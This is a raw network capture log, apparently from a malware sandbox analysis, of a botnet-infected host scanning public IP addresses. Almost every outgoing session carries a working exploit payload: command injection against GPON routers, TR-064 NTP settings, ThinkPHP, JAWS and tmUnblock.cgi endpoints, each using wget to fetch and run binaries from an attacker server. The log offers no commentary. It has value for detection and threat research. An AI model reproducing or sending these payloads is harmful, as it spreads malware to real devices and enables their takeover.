Mar 2, 2024 12:37:38.688952923 CET	197	IN	HTTP/1.1 404 Not Found Date: Sat Mar 2 14:37:37 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Mar 2, 2024 12:37:39.767046928 CET	197	IN	HTTP/1.1 404 Not Found Date: Sat Mar 2 14:37:37 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Mar 2, 2024 12:37:41.074090004 CET	197	IN	HTTP/1.1 404 Not Found Date: Sat Mar 2 14:37:37 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
792	192.168.2.23	54688	109.44.231.36	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:36.004961014 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
793	192.168.2.23	48258	109.197.36.177	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:36.005017042 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
794	192.168.2.23	33818	212.248.223.21	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:36.005049944 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
795	192.168.2.23	33804	109.200.216.96	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:36.005055904 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
796	192.168.2.23	34438	94.214.46.181	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:36.005065918 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
797	192.168.2.23	42764	212.22.19.16	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:36.005084038 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
798	192.168.2.23	33388	109.175.28.58	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:36.005095959 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
799	192.168.2.23	34628	5.103.195.123	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:36.005136013 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
800	192.168.2.23	39376	46.0.36.173	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:37.242000103 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:37:38.532145023 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:37:38.753736973 CET	197	IN	HTTP/1.1 404 Not Found Date: Sat Mar 2 14:37:37 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
801	192.168.2.23	59236	88.163.23.72	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:38.062592983 CET	324	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://164.155.205.6/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
802	192.168.2.23	49050	66.189.25.121	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:38.389060020 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
803	192.168.2.23	49060	66.189.25.121	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:38.504296064 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
804	192.168.2.23	51320	109.254.169.87	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:39.013592005 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
805	192.168.2.23	49036	94.255.222.224	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:39.013617992 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
806	192.168.2.23	40782	37.19.61.6	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:39.013632059 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
807	192.168.2.23	38016	178.64.54.90	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:39.013660908 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
808	192.168.2.23	58656	94.172.104.0	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:39.013674974 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
809	192.168.2.23	46096	109.183.145.246	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:39.013709068 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
810	192.168.2.23	34394	178.92.144.237	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:39.013710976 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
811	192.168.2.23	51110	210.120.185.208	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:39.013734102 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
812	192.168.2.23	36422	42.94.236.121	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:39.013780117 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
813	192.168.2.23	49756	54.88.160.61	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:40.037476063 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:37:40.574943066 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:37:41.215342999 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:37:42.462601900 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
814	192.168.2.23	37926	172.67.100.215	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:40.880877018 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
815	192.168.2.23	41108	172.87.210.37	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:40.927506924 CET	109	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 2, 2024 12:37:45.118329048 CET	109	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 2, 2024 12:37:51.261419058 CET	109	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 2, 2024 12:38:03.291711092 CET	109	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
